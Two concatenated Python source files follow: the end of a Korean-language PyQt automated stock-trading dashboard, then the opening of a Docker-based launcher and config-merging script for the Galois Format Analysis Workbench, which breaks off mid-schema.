strp_time('%Y%m%d', df['index'][df.index[-1]]) pr = str((sd - ld).days + 1) + '일' nbg, nsg = df['총매수금액'].sum(), df['총매도금액'].sum() sp = round((nsg / nbg - 1) * 100, 2) npg, nmg = df['총수익금액'].sum(), df['총손실금액'].sum() nsig = df['수익금합계'].sum() df2 = pd.DataFrame(columns=columns_ln) df2.at[0] = pr, nbg, nsg, npg, nmg, sp, nsig windowQ.put([ui_num['누적합계'], df2]) else: return if cmd == '일별집계': df = df.rename(columns={'index': '일자'}) windowQ.put([ui_num['누적상세'], df]) elif cmd == '월별집계': df['일자'] = df['index'].apply(lambda x: x[:6]) df2 = pd.DataFrame(columns=columns_lt) lastmonth = df['일자'][df.index[-1]] month = strf_time('%Y%m') while int(month) >= int(lastmonth): df3 = df[df['일자'] == month] if len(df3) > 0: tbg, tsg = df3['총매수금액'].sum(), df3['총매도금액'].sum() sp = round((tsg / tbg - 1) * 100, 2) tpg, tmg = df3['총수익금액'].sum(), df3['총손실금액'].sum() ttsg = df3['수익금합계'].sum() df2.at[month] = month, tbg, tsg, tpg, tmg, sp, ttsg month = str(int(month) - 89) if int(month[4:]) == 1 else str(int(month) - 1) windowQ.put([ui_num['누적상세'], df2]) elif cmd == '연도별집계': df['일자'] = df['index'].apply(lambda x: x[:4]) df2 = pd.DataFrame(columns=columns_lt) lastyear = df['일자'][df.index[-1]] year = strf_time('%Y') while int(year) >= int(lastyear): df3 = df[df['일자'] == year] if len(df3) > 0: tbg, tsg = df3['총매수금액'].sum(), df3['총매도금액'].sum() sp = round((tsg / tbg - 1) * 100, 2) tpg, tmg = df3['총수익금액'].sum(), df3['총손실금액'].sum() ttsg = df3['수익금합계'].sum() df2.at[year] = year, tbg, tsg, tpg, tmg, sp, ttsg year = str(int(year) - 1) windowQ.put([ui_num['누적상세'], df2]) else: workerQ.put(f'{cmd}') def ButtonClicked_4(self, gubun): if (gubun in [0, 1] and self.mode2 == 1) or (gubun == 0 and self.mode1 in [1, 2]): windowQ.put([1, '시스템 명령 오류 알림 - 현재 모드에서는 작동하지 않습니다.']) return if gubun == 0 and self.mode0 == 0 and self.mode1 == 0 and self.mode2 == 0: self.chart_00_tabWidget.setCurrentWidget(self.chart_05_tab) self.chart_01_tabWidget.setCurrentWidget(self.chart_06_tab) self.chart_02_tabWidget.setCurrentWidget(self.chart_07_tab) self.chart_03_tabWidget.setCurrentWidget(self.chart_08_tab) self.etc_pushButton_00.setStyleSheet(style_bc_dk) self.etc_pushButton_00.setFont(qfont1) self.ct_label_01.setGeometry(int(3500 * resize), int(5 * resize), int(140 * resize), int(20 * resize)) self.ct_lineEdit_01.setGeometry(int(3500 * resize), int(5 * resize), int(100 * resize), int(20 * resize)) self.ct_label_02.setGeometry(int(3500 * resize), int(702 * resize), int(140 * resize), int(20 * resize)) self.ct_lineEdit_02.setGeometry(int(3500 * resize), int(702 * resize), int(100 * resize), int(20 * resize)) self.mode0 = 1 elif gubun == 0 and self.mode0 == 1 and self.mode1 == 0 and self.mode2 == 0: self.chart_00_tabWidget.setCurrentWidget(self.chart_00_tab) self.chart_01_tabWidget.setCurrentWidget(self.chart_01_tab) self.chart_02_tabWidget.setCurrentWidget(self.chart_02_tab) self.chart_03_tabWidget.setCurrentWidget(self.chart_03_tab) self.etc_pushButton_00.setStyleSheet(style_bc_bt) self.etc_pushButton_00.setFont(qfont1) self.ct_label_01.setGeometry(int(1820 * resize), int(5 * resize), int(140 * resize), int(20 * resize)) self.ct_lineEdit_01.setGeometry(int(1960 * resize), int(5 * resize), int(100 * resize), int(20 * resize)) self.ct_label_02.setGeometry(int(1820 * resize), int(702 * resize), int(140 * resize), int(20 * resize)) self.ct_lineEdit_02.setGeometry(int(1960 * resize), int(702 * resize), int(100 * resize), int(20 * resize)) self.mode0 = 0 elif gubun == 1 and self.mode1 == 0 and self.mode2 == 0: self.chart_00_tabWidget.setGeometry(int(5 * resize), int(5 * resize), int(1025 * resize), int(692 * resize)) self.chart_01_tabWidget.setGeometry(int(1035 * resize), int(5 * resize), int(1026 * resize), int(692 * resize)) self.chart_02_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(1025 * resize), int(692 * resize)) self.chart_03_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(1026 * resize), int(692 * resize)) self.chart_04_tabWidget.setGeometry(int(3500 * resize), int(5 * resize), int(2743 * resize), int(1390 * resize)) self.hoga_00_tabWidget.setGeometry(int(2066 * resize), int(5 * resize), int(682 * resize), int(692 * resize)) self.hoga_01_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(682 * resize), int(692 * resize)) self.gg_tabWidget.setGeometry(int(5 * resize), int(702 * resize), int(682 * resize), int(120 * resize)) self.gs_tabWidget.setGeometry(int(5 * resize), int(827 * resize), int(682 * resize), int(567 * resize)) self.ns_tabWidget.setGeometry(int(692 * resize), int(702 * resize), int(682 * resize), int(332 * resize)) self.jj_tabWidget.setGeometry(int(692 * resize), int(1039 * resize), int(682 * resize), int(355 * resize)) self.jm_tabWidget.setGeometry(int(1379 * resize), int(702 * resize), int(682 * resize), int(332 * resize)) self.jb_tabWidget.setGeometry(int(1379 * resize), int(1039 * resize), int(682 * resize), int(355 * resize)) self.ch_tabWidget.setGeometry(int(2066 * resize), int(702 * resize), int(682 * resize), int(692 * resize)) self.etc_pushButton_01.setStyleSheet(style_bc_dk) self.etc_pushButton_01.setFont(qfont1) self.chart_00_tabWidget.setCurrentWidget(self.chart_00_tab) self.chart_01_tabWidget.setCurrentWidget(self.chart_01_tab) self.chart_02_tabWidget.setCurrentWidget(self.chart_02_tab) self.chart_03_tabWidget.setCurrentWidget(self.chart_03_tab) self.etc_pushButton_00.setStyleSheet(style_bc_bt) self.etc_pushButton_00.setFont(qfont1) self.mode0 = 0 self.ct_label_01.setGeometry(int(1820 * resize), int(5 * resize), int(140 * resize), int(20 * resize)) self.ct_lineEdit_01.setGeometry(int(1960 * resize), int(5 * resize), int(100 * resize), int(20 * resize)) self.ct_label_02.setGeometry(int(3500 * resize), int(702 * resize), int(65 * resize), int(20 * resize)) self.ct_lineEdit_02.setGeometry(int(3500 * resize), int(702 * resize), int(100 * resize), int(20 * resize)) self.mode1 = 1 elif gubun == 1 and self.mode1 == 1 and self.mode2 == 0: self.chart_00_tabWidget.setGeometry(int(3500 * resize), int(5 * resize), int(1025 * resize), int(692 * resize)) self.chart_01_tabWidget.setGeometry(int(3500 * resize), int(5 * resize), int(1026 * resize), int(692 * resize)) self.chart_04_tabWidget.setGeometry(int(5 * resize), int(5 * resize), int(2743 * resize), int(1390 * resize)) self.hoga_00_tabWidget.setGeometry(int(3500 * resize), int(5 * resize), int(682 * resize), int(692 * resize)) self.gg_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(682 * resize), int(120 * resize)) self.gs_tabWidget.setGeometry(int(3500 * resize), int(827 * resize), int(682 * resize), int(567 * resize)) self.ns_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(682 * resize), int(332 * resize)) self.jj_tabWidget.setGeometry(int(3500 * resize), int(1039 * resize), int(682 * resize), int(355 * resize)) self.jm_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(682 * resize), int(332 * resize)) self.jb_tabWidget.setGeometry(int(3500 * resize), int(1039 * resize), int(682 * resize), int(355 * resize)) self.ch_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(682 * resize), int(692 * resize)) self.ct_label_01.setGeometry(int(3500 * resize), int(5 * resize), int(140 * resize), int(20 * resize)) self.ct_lineEdit_01.setGeometry(int(3500 * resize), int(5 * resize), int(100 * resize), int(20 * resize)) self.info_label_05.setGeometry(int(1630 * resize), int(1 * resize), int(600 * resize), int(30 * resize)) self.mode1 = 2 elif gubun == 1 and self.mode1 == 2 and self.mode2 == 0: self.chart_00_tabWidget.setGeometry(int(5 * resize), int(5 * resize), int(1025 * resize), int(692 * resize)) self.chart_01_tabWidget.setGeometry(int(1035 * resize), int(5 * resize), int(1026 * resize), int(692 * resize)) self.chart_02_tabWidget.setGeometry(int(5 * resize), int(702 * resize), int(1025 * resize), int(692 * resize)) self.chart_03_tabWidget.setGeometry(int(1035 * resize), int(702 * resize), int(1026 * resize), int(692 * resize)) self.chart_04_tabWidget.setGeometry(int(3500 * resize), int(5 * resize), int(2743 * resize), int(1390 * resize)) self.chart_00_tabWidget.setCurrentWidget(self.chart_00_tab) self.chart_01_tabWidget.setCurrentWidget(self.chart_01_tab) self.chart_02_tabWidget.setCurrentWidget(self.chart_02_tab) self.chart_03_tabWidget.setCurrentWidget(self.chart_03_tab) self.etc_pushButton_00.setStyleSheet(style_bc_bt) self.etc_pushButton_00.setFont(qfont1) self.mode0 = 0 self.hoga_00_tabWidget.setGeometry(int(2066 * resize), int(5 * resize), int(682 * resize), int(692 * resize)) self.hoga_01_tabWidget.setGeometry(int(2066 * resize), int(702 * resize), int(682 * resize), int(692 * resize)) self.etc_pushButton_01.setStyleSheet(style_bc_bt) self.etc_pushButton_01.setFont(qfont1) self.ct_label_01.setGeometry(int(1820 * resize), int(5 * resize), int(140 * resize), int(20 * resize)) self.ct_lineEdit_01.setGeometry(int(1960 * resize), int(5 * resize), int(100 * resize), int(20 * resize)) self.ct_label_02.setGeometry(int(1820 * resize), int(702 * resize), int(140 * resize), int(20 * resize)) self.ct_lineEdit_02.setGeometry(int(1960 * resize), int(702 * resize), int(100 * resize), int(20 * resize)) self.info_label_05.setGeometry(int(2145 * resize), int(699 * resize), int(600 * resize), int(30 * resize)) self.mode1 = 0 elif gubun == 2 and self.mode2 == 0: self.setGeometry(int(2748 * resize), int(0 * resize), int(692 * resize), int(1400 * resize)) self.chart_00_tabWidget.setGeometry(int(3500 * resize), int(5 * resize), int(1025 * resize), int(692 * resize)) self.chart_01_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(1026 * resize), int(692 * resize)) self.chart_02_tabWidget.setGeometry(int(3500 * resize), int(5 * resize), int(1025 * resize), int(692 * resize)) self.chart_03_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(1026 * resize), int(692 * resize)) self.chart_04_tabWidget.setGeometry(int(3500 * resize), int(5 * resize), int(2743 * resize), int(1390 * resize)) self.hoga_00_tabWidget.setGeometry(int(3500 * resize), int(5 * resize), int(682 * resize), int(692 * resize)) self.hoga_01_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(682 * resize), int(692 * resize)) self.lgsj_tabWidget.setGeometry(int(5 * resize), int(5 * resize), int(682 * resize), int(282 * resize)) self.table_tabWidget.setGeometry(int(5 * resize), int(292 * resize), int(682 * resize), int(1103 * resize)) self.info_label_01.setGeometry(int(3500 * resize), int(1 * resize), int(400 * resize), int(30 * resize)) self.info_label_02.setGeometry(int(3500 * resize), int(1 * resize), int(400 * resize), int(30 * resize)) self.info_label_03.setGeometry(int(3500 * resize), int(1 * resize), int(400 * resize), int(30 * resize)) self.info_label_04.setGeometry(int(3500 * resize), int(1 * resize), int(600 * resize), int(30 * resize)) self.info_label_05.setGeometry(int(3500 * resize), int(699 * resize), int(600 * resize), int(30 * resize)) self.info_label_06.setGeometry(int(140 * resize), int(1 * resize), int(400 * resize), int(30 * resize)) self.etc_pushButton_00.setGeometry(int(437 * resize), int(291 * resize), int(80 * resize), int(20 * resize)) self.etc_pushButton_01.setGeometry(int(522 * resize), int(291 * resize), int(80 * resize), int(20 * resize)) self.etc_pushButton_02.setGeometry(int(607 * resize), int(291 * resize), int(80 * resize), int(20 * resize)) self.etc_pushButton_02.setStyleSheet(style_bc_dk) self.etc_pushButton_02.setFont(qfont1) self.ct_label_01.setGeometry(int(3500 * resize), int(5 * resize), int(140 * resize), int(20 * resize)) self.ct_lineEdit_01.setGeometry(int(3500 * resize), int(5 * resize), int(100 * resize), int(20 * resize)) self.ct_label_02.setGeometry(int(3500 * resize), int(702 * resize), int(140 * resize), int(20 * resize)) self.ct_lineEdit_02.setGeometry(int(3500 * resize), int(702 * resize), int(100 * resize), int(20 * resize)) self.mode2 = 1 elif gubun == 2 and self.mode2 == 1: self.setGeometry(int(0 * resize), int(0 * resize), int(3440 * resize), int(1400 * resize)) if self.mode1 == 0: self.chart_00_tabWidget.setGeometry(int(5 * resize), int(5 * resize), int(1025 * resize), int(692 * resize)) self.chart_01_tabWidget.setGeometry(int(1035 * resize), int(5 * resize), int(1026 * resize), int(692 * resize)) self.chart_02_tabWidget.setGeometry(int(5 * resize), int(702 * resize), int(1025 * resize), int(692 * resize)) self.chart_03_tabWidget.setGeometry(int(1035 * resize), int(702 * resize), int(1026 * resize), int(692 * resize)) self.hoga_00_tabWidget.setGeometry(int(2066 * resize), int(5 * resize), int(682 * resize), int(692 * resize)) self.hoga_01_tabWidget.setGeometry(int(2066 * resize), int(702 * resize), int(682 * resize), int(692 * resize)) self.info_label_05.setGeometry(int(2145 * resize), int(699 * resize), int(600 * resize), int(30 * resize)) elif self.mode1 == 1: self.chart_00_tabWidget.setGeometry(int(5 * resize), int(5 * resize), int(1025 * resize), int(692 * resize)) self.chart_01_tabWidget.setGeometry(int(1035 * resize), int(5 * resize), int(1026 * resize), int(692 * resize)) self.chart_00_tabWidget.setCurrentWidget(self.chart_00_tab) self.chart_01_tabWidget.setCurrentWidget(self.chart_01_tab) self.hoga_00_tabWidget.setGeometry(int(2066 * resize), int(5 * resize), int(682 * resize), int(692 * resize)) self.info_label_05.setGeometry(int(2145 * resize), int(699 * resize), int(600 * resize), int(30 * resize)) else: self.chart_04_tabWidget.setGeometry(int(5 * resize), int(5 * resize), int(2743 * resize), int(1390 * resize)) self.info_label_05.setGeometry(int(1630 * resize), int(1 * resize), int(600 * resize), int(30 * resize)) self.lgsj_tabWidget.setGeometry(int(2753 * resize), int(5 * resize), int(682 * resize), int(282 * resize)) self.table_tabWidget.setGeometry(int(2753 * resize), int(292 * resize), int(682 * resize), int(1103 * resize)) self.info_label_01.setGeometry(int(155 * resize), int(1 * resize), int(400 * resize), int(30 * resize)) self.info_label_02.setGeometry(int(600 * resize), int(1 * resize), int(400 * resize), int(30 * resize)) self.info_label_03.setGeometry(int(1185 * resize), int(1 * resize), int(400 * resize), int(30 * resize)) self.info_label_04.setGeometry(int(2145 * resize), int(1 * resize), int(600 * resize), int(30 * resize)) self.info_label_06.setGeometry(int(2888 * resize), int(1 * resize), int(400 * resize), int(30 * resize)) self.etc_pushButton_00.setGeometry(int(3185 * resize), int(291 * resize), int(80 * resize), int(20 * resize)) self.etc_pushButton_01.setGeometry(int(3270 * resize), int(291 * resize), int(80 * resize), int(20 * resize)) self.etc_pushButton_02.setGeometry(int(3355 * resize), int(291 * resize), int(80 * resize), int(20 * resize)) self.etc_pushButton_02.setStyleSheet(style_bc_bt) self.etc_pushButton_02.setFont(qfont1) if self.mode0 == 0 and self.mode1 == 0: self.ct_label_01.setGeometry(int(1820 * resize), int(5 * resize), int(140 * resize), int(20 * resize)) self.ct_lineEdit_01.setGeometry(int(1960 * resize), int(5 * resize), int(100 * resize), int(20 * resize)) self.ct_label_02.setGeometry(int(1820 * resize), int(702 * resize), int(140 * resize), int(20 * resize)) self.ct_lineEdit_02.setGeometry(int(1960 * resize), int(702 * resize), int(100 * resize), int(20 * resize)) elif self.mode1 == 1: self.ct_label_01.setGeometry(int(1820 * resize), int(5 * resize), int(120 * resize), int(20 * resize)) self.ct_lineEdit_01.setGeometry(int(1960 * resize), int(5 * resize), int(100 * resize), int(20 * resize)) self.mode2 = 0 @thread_decorator def UpdateSysinfo(self): p = psutil.Process(os.getpid()) self.dict_intu['메모리'] = round(p.memory_info()[0] / 2 ** 20.86, 2) self.dict_intu['스레드'] = p.num_threads() self.dict_intu['시피유'] = round(p.cpu_percent(interval=2) / 2, 2) class Writer(QtCore.QThread): data0 = QtCore.pyqtSignal(list) data1 = QtCore.pyqtSignal(list) data2 = QtCore.pyqtSignal(list) data3 = QtCore.pyqtSignal(list) data4 = QtCore.pyqtSignal(list) def __init__(self): super().__init__() def run(self): tlist = [ui_num['단타설정'], ui_num['tick'], ui_num['tick'] + 100] clist = [ui_num['차트P1'], ui_num['차트P2'], ui_num['차트P3'], ui_num['차트P4'], ui_num['차트P5'], ui_num['차트P6'], ui_num['차트P7'], ui_num['차트P8'], ui_num['차트P9']] dlist = [ui_num['short'], ui_num['short'] + 100] while True: data = windowQ.get() if data[0] not in tlist and type(data[1]) != pd.DataFrame: self.data0.emit(data) elif data[0] in clist: self.data1.emit(data) elif data[0] in tlist: self.data2.emit(data) elif data[0] in dlist: self.data3.emit(data) else: self.data4.emit(data) if __name__ == '__main__': windowQ, workerQ, stgtQ, stgsQ, soundQ, queryQ, teleQ, hoga1Q, hoga2Q, chart1Q, chart2Q, chart3Q,\ chart4Q, chart5Q, chart6Q, chart7Q, chart8Q, chart9Q = Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), \ Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue(), Queue() qlist = [windowQ, workerQ, stgtQ, stgsQ, soundQ, queryQ, teleQ, hoga1Q, hoga2Q, chart1Q, chart2Q, chart3Q, chart4Q, chart5Q, chart6Q, chart7Q, chart8Q, chart9Q] from utility.query import Query from utility.sound import Sound from utility.telegrammsg import TelegramMsg from worker import Worker from updater_hoga import UpdaterHoga from updater_chart import UpdaterChart from strategy_tick import StrategyTick from strategy_short import StrategyShort Process(target=Sound, args=(qlist,), daemon=True).start() Process(target=Query, args=(qlist,), daemon=True).start() Process(target=TelegramMsg, args=(qlist,), daemon=True).start() Process(target=UpdaterHoga, args=(qlist, ui_num['호가P0']), daemon=True).start() Process(target=UpdaterHoga, args=(qlist, ui_num['호가P1']), daemon=True).start() Process(target=UpdaterChart, args=(qlist, ui_num['차트P1']), daemon=True).start() Process(target=UpdaterChart, args=(qlist, ui_num['차트P2']), daemon=True).start() Process(target=UpdaterChart, args=(qlist, ui_num['차트P3']), daemon=True).start() Process(target=UpdaterChart, args=(qlist, ui_num['차트P4']), daemon=True).start() Process(target=UpdaterChart, args=(qlist, ui_num['차트P5']), daemon=True).start() Process(target=UpdaterChart, args=(qlist, ui_num['차트P6']), daemon=True).start() Process(target=UpdaterChart, args=(qlist, ui_num['차트P7']), daemon=True).start() Process(target=UpdaterChart, args=(qlist, ui_num['차트P8']), daemon=True).start() Process(target=UpdaterChart, args=(qlist, ui_num['차트P9']), daemon=True).start() Process(target=StrategyTick, args=(qlist,), daemon=True).start() Process(target=StrategyShort, args=(qlist,), daemon=True).start() Process(target=Worker, args=(qlist,), daemon=True).start() app = QtWidgets.QApplication(sys.argv) app.setStyle('fusion') palette = QPalette() palette.setColor(QPalette.Window, color_bg_bc) palette.setColor(QPalette.Background, color_bg_bc) palette.setColor(QPalette.WindowText, color_fg_bc) palette.setColor(QPalette.Base, color_bg_bc) palette.setColor(QPalette.AlternateBase, color_bg_dk) palette.setColor(QPalette.Text, color_fg_bc) palette.setColor(QPalette.Button, color_bg_bc) palette.setColor(QPalette.ButtonText, color_fg_bc) palette.setColor(QPalette.Link, color_fg_bk) palette.setColor(QPalette.Highlight, color_fg_bk) palette.setColor(QPalette.HighlightedText, color_bg_bk) app.setPalette(palette) window = Window() window.show() app.exec_()
workbench.py
#! /usr/bin/env python3 """This is the convenience script for developing, building, distributing, and running end-user copies of the Galois Format Analysis Workbench. """ # IMPORTANT - Only stdlib here! We want to minimize dependencies required by # downstream users. Other imports are allowed in functions not used by the # version published as part of a build. import argparse import hashlib import io import os import re import shlex import shutil import stat import subprocess import sys import tarfile import textwrap import threading import time import traceback import webbrowser # These variables are a bit strange, but they exist to make distribution easier. # Basically, this script is copied and these variables are overwritten # automatically for deployments. # # Shorthand scripts will overwrite `CONFIG_FOLDER`, and deployments will # overwrite `IMAGE_TAG`. CONFIG_FOLDER = None IMAGE_TAG = None VOLUME_SUFFIX = '-data' # Keep track of the directory containing the FAW faw_dir = os.path.dirname(os.path.abspath(__file__)) def main(): """ Launches a production instance of Galois Format Analysis Workbench (GFAW) using the distribution `CONFIG_DIR` to investigate the files in `FILE_DIR`. `CONFIG_DIR` may be at most one parent directory up; doing so is mostly a convenience for development. Note that Docker requires all sibling folders to the one-folder-up idiom will also be uploaded to Docker, so keep the containing folder sparse if that feature is used. Each directory `FILE_DIR` will be hashed to a unique build of the observatory to maximize caching. Example invocations: python workbench.py pdf path/to/pdfs python workbench.py pdf build/pdf-dist-2021-02-10 For running a FAW deployment on multiple machines, see `workbench-teaming-init.py`. """ parser = argparse.ArgumentParser(description=textwrap.dedent(main.__doc__), formatter_class=argparse.RawTextHelpFormatter) def folder_exists(v): assert os.path.lexists(v), f'Path must exist: {v}' return v def folder_exists_or_build(v): assert os.path.lexists(v) or v.startswith('build'), f'Path must exist or start with build: {v}' return v if CONFIG_FOLDER is None and IMAGE_TAG is None: parser.add_argument('config_dir', type=folder_exists, help="Folder " "containing configuration for workbench to analyze a format.") parser.add_argument('file_dir', type=folder_exists_or_build, help="Folder containing " "files to investigate.") parser.add_argument('--port', default=8123, type=int, help="Port on which Galois Workbench is accessed.") parser.add_argument('--port-mongo', default=None, type=int, help="If specified, port on which to expose the mongo instance.") parser.add_argument('--copy-mongo-from', default=None, type=str, help="Replace the pdf-etl database used by the observatory with a " "copy of an existing database. Format: localhost:27019/120pdfs") parser.add_argument('--development', action='store_true', help="Developer option: mount source code over docker image, for " "Vue.js hot reloading. Also adds `sys_ptrace` capability to docker " "container for profiling purposes.") args = parser.parse_args() pdf_dir = args.file_dir port = args.port port_mongo = args.port_mongo copy_mongo_from = args.copy_mongo_from development = args.development config_data = None if IMAGE_TAG is None: # Not a deployment -- need to load spec so we can build the image. if CONFIG_FOLDER is None: config = args.config_dir else: config = CONFIG_FOLDER config_data = _check_config_file(config) # Figure out build folder config_rel = os.path.relpath(config, faw_dir) parts = [] while config_rel: h, t = os.path.split(config_rel) parts.insert(0, t) config_rel = h if parts[0] == '..': assert len(parts) > 1, parts assert parts[1] != '..', 'Only one parent directory allowed to reach distribution folder' build_dir = os.path.dirname(faw_dir) build_faw_dir = os.path.basename(faw_dir) # Ensure the docker build sees the correct .dockerignore, or it will # upload a lot of extra cruft. shutil.copy2(os.path.join(faw_dir, '.dockerignore'), os.path.join(build_dir, '.dockerignore')) else: build_dir = faw_dir build_faw_dir = '.' # Check that observatory image is loaded / built _check_image(development=development, config_data=config_data, build_dir=build_dir, build_faw_dir=build_faw_dir) if os.path.split(os.path.relpath(pdf_dir, faw_dir))[0] == 'build': assert not development, "Build cannot use --development" # Populate the given directory with a built version of the workbench. try: shutil.rmtree(pdf_dir) except FileNotFoundError: pass os.makedirs(pdf_dir) # Export docker image assert IMAGE_TAG is not None # relpath() here used to strip trailing slash, which messes up basename dist_name = os.path.basename(os.path.relpath(CONFIG_FOLDER)) image_file_name = f'{IMAGE_TAG}.image' subprocess.check_call( f'docker save {IMAGE_TAG} | gzip > {os.path.join(pdf_dir, image_file_name)}', shell=True) # Export readme with \ open(os.path.join('common', 'README-dist.md')) as fin, \ open(os.path.join(pdf_dir, 'README.md'), 'w') as fout: fout.write( re.sub(r'{distribution}', dist_name, re.sub(r'{imageName}', IMAGE_TAG, fin.read() ) ) ) # Build modified script script_name = os.path.join(pdf_dir, f'workbench-{dist_name}.py') with open(__file__) as fin, open(script_name, 'w') as fout: fout.write(re.sub('IMAGE_TAG = [N]one', f'IMAGE_TAG = {repr(IMAGE_TAG)}', fin.read())) st = os.stat(script_name) os.chmod(script_name, st.st_mode | stat.S_IEXEC) if False: # Package up whole file # On second thought, don't. It takes up disk space and the user could # run this step on their own file_name = os.path.abspath(os.path.join(os.path.abspath(pdf_dir), '..', f'{config_data["name"]}.tar.gz')) try: os.remove(file_name) except FileNotFoundError: pass subprocess.check_call(['tar', '-czvf', file_name] + os.listdir(pdf_dir), cwd=pdf_dir) print(f'Package available as {pdf_dir}') return # Hash absolute path to folder to generate consistent DB name. pdf_dir = os.path.abspath(pdf_dir) pdf_dir_name = re.sub(r'[ /\.]', '-', os.path.basename(pdf_dir)) hash = hashlib.sha256(pdf_dir.encode('utf-8')).hexdigest() db_name = f'gfaw-{pdf_dir_name}-{hash[:8]}' if copy_mongo_from is not None: # Auxiliary command for copying data from an existing mongo instance. # Used internally. _mongo_copy(db_name=db_name, copy_mongo_from=copy_mongo_from) return extra_flags = [] if port_mongo: extra_flags.extend(['-p', f'{port_mongo}:27017']) if not development: extra_flags.append(IMAGE_TAG) else: extra_flags.extend(['-v', f'{faw_dir}/common/pdf-observatory:/home/pdf-observatory']) extra_flags.extend(['-v', f'{os.path.abspath(CONFIG_FOLDER)}:/home/dist']) # Allow profiling via e.g. py-spy extra_flags.extend(['--cap-add', 'sys_ptrace']) extra_flags.append(IMAGE_TAG + '-dev') docker_id = f'gfaw-{IMAGE_TAG}-{db_name}' if development: # Ensure that the necessary npm modules are installed to run the UI # locally. Notably, we do this from docker s.t. the node version used # to install packages is the same one used to run the FAW. #subprocess.check_call(['npm', 'install'], # cwd=os.path.join(faw_dir, 'common', 'pdf-observatory', 'ui')) subprocess.check_call(['docker', 'run', '-it', '--rm', '--entrypoint', '/bin/bash'] + extra_flags + [ '-c', 'cd /home/pdf-observatory/ui && npm install' ]) # Distribution folder is mounted in docker container, but workbench.py # holds the schema. def watch_for_config_changes(): # Where, in the docker container, to dump the new config cfg_dst = '/home/config.json' last_ts = None while True: try: new_ts = {} for configdir in [CONFIG_FOLDER] + [ os.path.join(CONFIG_FOLDER, p) for p in os.listdir(CONFIG_FOLDER) if os.path.isdir(os.path.join(CONFIG_FOLDER, p))]: cfg_path = os.path.join(configdir, 'config.json5') if not os.path.lexists(cfg_path): continue ts = os.path.getmtime(cfg_path) new_ts[cfg_path] = ts if last_ts is None: # Initialization last_ts = new_ts elif last_ts != new_ts: # Some config changed last_ts = new_ts print('workbench: Updating /home/config.json') new_config = _export_config_json(_check_config_file( None)).encode('utf-8') # Docker cp is weird... if stdin, it's a tarred # directory buf = io.BytesIO() with tarfile.TarFile(fileobj=buf, mode='w') as tf: finfo = tarfile.TarInfo(os.path.basename(cfg_dst)) finfo.size = len(new_config) finfo.mtime = time.time() tf.addfile(finfo, io.BytesIO(new_config)) buf.seek(0) p_ts = subprocess.Popen(['docker', 'cp', '-', f'{docker_id}:{os.path.dirname(cfg_dst)}'], stdin=subprocess.PIPE) p_ts.communicate(input=buf.read()) p_ts.wait() except: traceback.print_exc() time.sleep(1) t_watch = threading.Thread(target=watch_for_config_changes) t_watch.daemon = True t_watch.start() def open_browser(): time.sleep(1.5) try: webbrowser.open(f'http://localhost:{port}') except: traceback.print_exc() open_browser_thread = threading.Thread(target=open_browser) open_browser_thread.daemon = True open_browser_thread.start() subprocess.check_call(['docker', 'run', '-it', '--rm', '--log-driver', 'none', '--name', docker_id, '-v', f'{pdf_dir}:/home/pdf-files', '-v', f'{IMAGE_TAG+VOLUME_SUFFIX}:/data/db', '-e', f'DB={db_name}', '-p', f'{port}:8123', ] + extra_flags) def _check_config_file(config): """For non-deployment editions, we must load config from a json5 file. This also gets run for deployments, as this function is responsible for merging multiple configs into the single root config. This function also contains all schema validation of json5 files, as the version stored in the observatory image is separate. """ global CONFIG_FOLDER, IMAGE_TAG # Not a deployment -- requires CONFIG_FOLDER if CONFIG_FOLDER is None: assert config is not None CONFIG_FOLDER = config else: assert config is None import pyjson5, schema as s config_data = pyjson5.load(open(os.path.join(CONFIG_FOLDER, 'config.json5'))) # Before applying schema, merge in child configs for child_name in os.listdir(CONFIG_FOLDER): child_path = os.path.join(CONFIG_FOLDER, child_name) if not os.path.isdir(child_path): continue child_config_path = os.path.join(child_path, 'config.json5') if not os.path.lexists(child_config_path): continue child_config = pyjson5.load(open(child_config_path)) # First traversal -- patch keys and values nodes = [([], child_config)] while nodes: path, src = nodes.pop() for k, v in src.items(): ## Rewrite v # Check executables; amend cwd if path and ( 'file_detail_views' == path[-1] or 'decision_views' == path[-1] or 'parsers' == path[-1] or 'tasks' == path[-1]): if 'cwd' in v: v['cwd'] = f'{child_name}/' + v['cwd'] else: v['cwd'] = child_name # Docker build stage patch if path == ['build', 'stages']: if 'commands' in v: v['commands'] = [ vv .replace('{disttarg}', f'{{disttarg}}/{child_name}') .replace('{dist}', f'{{dist}}/{child_name}') for vv in v['commands']] if isinstance(v, dict): nodes.append((path + [k], v)) # Second traversal -- merge nodes = [([], config_data, child_config)] while nodes: path, dst, src = nodes.pop() for k, v in src.items(): ## Rewrite k # Docker build stage patch -- rewrites `k` if path == ['build', 'stages']: # Adding a build stage. If not 'base' or 'final', then # prepend config folder name if k not in ['base', 'final']: k = f'{child_name}_{k}' # New entries only for these if path in [ ['pipelines'], ['file_detail_views'], ['decision_views'], ['parsers'], ]: # Amend these with the child's name, to allow for copying k = f'{child_name.replace("_", "-")}-{k}' assert k not in dst, f'Cannot extend {path} {k}; must be new' ## Check for merge type # Check if new -- if so, assign and be done if k not in dst: # Non-existent key; add it to the dictionary dst[k] = v continue # Do merge if isinstance(v, dict): if not isinstance(dst[k], dict): raise ValueError(f'{path} {k} type does not match base config') # Dictionary merge nodes.append((path + [k], dst[k], v)) elif isinstance(v, list): if not isinstance(dst[k], list): raise ValueError(f'{path} {k} type does not match base config') # Add to end. dst[k].extend(v) else: raise ValueError(f'May not extend {path} {k}: base config type {dst[k]}') # Pull in parser-specific schema import importlib.util spec = importlib.util.spec_from_file_location('etl_parse', os.path.join(faw_dir, 'common', 'pdf-etl-parse', 'parse_schema.py')) etl_parse = importlib.util.module_from_spec(spec) spec.loader.exec_module(etl_parse) schema_views = { s.Optional('decision_views', default={}): s.Or({}, { str: { 'label': str, 'type': 'program', 'exec': [s.Or( s.And(str, lambda x: not x.startswith('<')), s.And(str, lambda x: x in [ '<filesPath>', '<apiInfo>', 